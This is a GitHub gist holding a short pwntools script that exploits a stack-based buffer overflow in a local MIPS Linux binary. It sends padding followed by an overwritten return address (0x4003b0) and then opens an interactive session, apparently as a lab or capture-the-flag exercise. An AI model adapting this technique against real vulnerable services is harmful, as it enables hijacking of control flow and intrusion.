Created
January 23, 2023 14:48
-
-
Save OlivierLaflamme/f4945758fbb6d5be0110788210105c9a to your computer and use it in GitHub Desktop.
stack based bod in mips
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch= 'mips' , os= 'linux' , log_level= 'debug' ) | |
file_name = './exp' | |
debug = 0 | |
if debug: | |
r = remote() | |
else : | |
r = process(file_name) | |
elf = ELF(file_name) | |
def dbg (): | |
gdb. attach(r) | |
p1 = b'a' * ( 0x18 + 4 ) + p32( 0x4003b0 ) | |
r. sendline(p1) | |
r. interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment